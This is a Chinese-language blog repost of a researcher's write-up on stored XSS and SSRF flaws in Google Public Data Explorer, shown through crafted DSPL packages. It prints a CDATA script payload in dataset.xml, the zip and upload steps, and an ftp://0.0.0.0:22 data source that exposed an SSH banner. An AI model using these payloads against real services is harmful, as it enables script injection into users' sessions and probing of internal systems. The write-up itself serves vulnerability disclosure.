看我如何构造DSPL语言包及发现Google的存储型XSS和SSRF漏洞
更新:HHH   时间:2023-1-7


本篇文章给大家分享的是有关看我如何构造DSPL语言包及发现Google的存储型XSS和SSRF漏洞,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

下面讲述我通过精心制作Google数据集发布语言(DSPL)包,在请求www.google.com的环境中构造出存储型XSS漏洞,另外,利用DSPL的远程数据源功能实现了本地服务访问(也即SSRF)。

Google的数据集发布语言DSPL

Google的数据集发布语言:Google利用其具备的强大网络数据收集能力,在数据挖掘和可视化方面拥有多项应用,通过搭建可视化的商业和公共服务平,方便第三方公司和个人充分数据收集可视化。用户可以利用Google的数据集发布语言(Dataset Publishing Language,DSPL)接口,把他们自己的数据库链接上Google的可视化工具,实现方便的个人定制数据可视化。

Google的公开数据浏览器(Public Data Explorer)是一款数据搜索和可视化显示工具,它以官方数据为基础,为一些常见的搜索请求制作图表,以更加直观的视觉形式反映出搜索结果。例如,我们可以利用它来方便地实现政府卫生支出、世界银行数据等大型数据集的搜集和可视化。

DSPL使用XML来描述数据集中的元数据,还会用到CSV数据文件,例如DSPL下的sample.zip压缩包格式是这样的:

Archive:  sample.zip
Length      Date    Time    Name
---------  ---------- -----   ----
      246  02-01-2018 13:19   countries.csv
      221  02-14-2011 17:13   country_slice.csv
     7812  03-04-2018 21:12   dataset.xml
      246  02-14-2011 17:13   gender_country_slice.csv
       28  01-29-2018 20:55   genders.csv
      200  02-14-2011 17:13   state_slice.csv
      300  01-29-2018 21:11   states.csv
---------                     -------
     9053                     7 files

漏洞端倪

问题就在于,Google的公开数据浏览器(Public Data Explorer)在使用数据集归档中提供的元数据时,不会去检查这些元数据是否经过有效编码或安全验证。

以下面这个数据集的使用为例:

curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip

unzip sample.zip; rm sample.zip

可以对数据集中dataset.xml文件的元数据名称值进行更改。另外在以下XML文件中,可以使用CDATA部分来包含JavaScript的执行脚本(Payload),以防止其被当做XML标记来解析:

<info>
  <name>
    <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
  </name>
    <description>
      <value>Some very interesting statistics about countries</value>
    </description>
    <url>
      <value>http://google.com</value>
    </url>  
</info>

之后,执行以下两步操作:

zip -r poc.dspl *

将上述精心制作的数据集文件上传到Google公开数据浏览器中(Public Data Explorer),把它公开分享

这样一来,只要点击查看该数据集的用户,都会在www.google.com请求环境中被执行一段攻击者精心制作的JavaScript恶意脚本(这种脚本如Coinhive)。

漏洞PoC测试

在以下视频中我们可以看到,构造一个包含恶意脚本的数据集压缩包,上传部署后,能成功执行预定脚本:

http://v.youku.com/v_show/id_XMzQ3MTM0Njk0OA==.html

https://vimeo.com/258923005

而且,因为DSPL还具备从远程HTTP或FTP源中进行数据检索,所以,利用该功能和上述缺陷可以实现SSRF攻击,访问到某些本地主机的服务数据资源(另外,深入利用,还可间接访问到目标系统内与互联网隔离的内部网络系统,进一步对目标系统内的系统或设备造成安全威胁)

例如,把poc.dspl/dataset.xml中的内容更改如下:

<table id="my_table">
  <column id="first" type="string"/>
  <column id="last" type="string"/>
  <data>
    <file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
  </data>
</table>

在把该数据集进行上传分享时,Google服务端返回了HTTP/FTP请求的出错处理响应,其中显示了Google服务端的SSH详细banner信息,实际上,这本来就是一种不应公开显示的服务端信息:


以上就是看我如何构造DSPL语言包及发现Google的存储型XSS和SSRF漏洞,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注天达云行业资讯频道。

返回网络管理教程...